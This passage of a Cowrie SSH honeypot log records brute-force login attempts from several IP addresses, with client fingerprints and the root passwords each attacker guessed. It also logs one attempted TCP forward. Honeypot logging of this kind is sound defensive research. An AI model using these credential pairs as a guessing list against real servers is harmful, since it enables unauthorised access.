{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:48.417677Z","src_ip":"87.251.64.176","session":"394b61756054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:57:48.579246Z","src_ip":"87.251.64.176","session":"394b61756054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":52566,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c482e133cb","protocol":"ssh","message":"New connection: 171.244.37.97:52566 (159.203.135.109:22) [session: 01c482e133cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:01.096020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:01.101387Z","src_ip":"171.244.37.97","session":"01c482e133cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:01.342964Z","src_ip":"171.244.37.97","session":"01c482e133cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jay","message":"login attempt [root/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:02.340096Z","src_ip":"171.244.37.97","session":"01c482e133cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":51362,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ac9df400700","protocol":"ssh","message":"New connection: 43.163.81.22:51362 (159.203.135.109:22) [session: 8ac9df400700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:03.305397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:03.309890Z","src_ip":"43.163.81.22","session":"8ac9df400700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:03.547216Z","src_ip":"43.163.81.22","session":"8ac9df400700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:03.584455Z","src_ip":"171.244.37.97","session":"01c482e133cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:04.524401Z","src_ip":"43.163.81.22","session":"8ac9df400700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:05.764031Z","src_ip":"43.163.81.22","session":"8ac9df400700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":59116,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7235a31604","protocol":"ssh","message":"New connection: 43.135.164.198:59116 (159.203.135.109:22) [session: 0a7235a31604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:06.806965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:06.815800Z","src_ip":"43.135.164.198","session":"0a7235a31604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:06.884988Z","src_ip":"43.135.164.198","session":"0a7235a31604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jj123456","message":"login attempt [root/Jj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:07.192973Z","src_ip":"43.135.164.198","session":"0a7235a31604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:08.265961Z","src_ip":"43.135.164.198","session":"0a7235a31604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":43698,"dst_ip":"159.203.135.109","dst_port":22,"session":"383a3f2851df","protocol":"ssh","message":"New connection: 103.27.238.120:43698 (159.203.135.109:22) [session: 383a3f2851df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:14.495800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:14.500693Z","src_ip":"103.27.238.120","session":"383a3f2851df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:14.762628Z","src_ip":"103.27.238.120","session":"383a3f2851df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1lakiss","message":"login attempt [root/d1lakiss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:15.558229Z","src_ip":"103.27.238.120","session":"383a3f2851df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:16.823297Z","src_ip":"103.27.238.120","session":"383a3f2851df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":48656,"dst_ip":"10.17.0.5","dst_port":22,"session":"9903823d4662","protocol":"ssh","message":"New connection: 111.32.153.180:48656 (10.17.0.5:22) [session: 9903823d4662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:17.129860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:17.138586Z","src_ip":"111.32.153.180","session":"9903823d4662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:17.405517Z","src_ip":"111.32.153.180","session":"9903823d4662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:18.504360Z","src_ip":"111.32.153.180","session":"9903823d4662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:19.773997Z","src_ip":"111.32.153.180","session":"9903823d4662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":57528,"dst_ip":"10.17.0.5","dst_port":22,"session":"0890f91ef14f","protocol":"ssh","message":"New connection: 209.99.190.200:57528 (10.17.0.5:22) [session: 0890f91ef14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.726408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.731243Z","src_ip":"209.99.190.200","session":"0890f91ef14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":58904,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a2419dea40","protocol":"ssh","message":"New connection: 43.135.168.126:58904 (159.203.135.109:22) [session: f4a2419dea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.768834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.773477Z","src_ip":"43.135.168.126","session":"f4a2419dea40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.827952Z","src_ip":"209.99.190.200","session":"0890f91ef14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:26.845393Z","src_ip":"43.135.168.126","session":"f4a2419dea40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rosebud","message":"login attempt [root/rosebud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:27.150453Z","src_ip":"43.135.168.126","session":"f4a2419dea40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miao","message":"login attempt [root/miao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:27.244361Z","src_ip":"209.99.190.200","session":"0890f91ef14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:28.228384Z","src_ip":"43.135.168.126","session":"f4a2419dea40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:28.358425Z","src_ip":"209.99.190.200","session":"0890f91ef14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":52380,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3c5c3d5d0c","protocol":"ssh","message":"New connection: 103.75.182.198:52380 (10.17.0.5:22) [session: 5e3c5c3d5d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:36.962957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:36.971970Z","src_ip":"103.75.182.198","session":"5e3c5c3d5d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.218201Z","src_ip":"103.75.182.198","session":"5e3c5c3d5d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":45160,"dst_ip":"10.17.0.5","dst_port":22,"session":"4219210a34dc","protocol":"ssh","message":"New connection: 43.153.56.192:45160 (10.17.0.5:22) [session: 4219210a34dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.620626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.625390Z","src_ip":"43.153.56.192","session":"4219210a34dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","e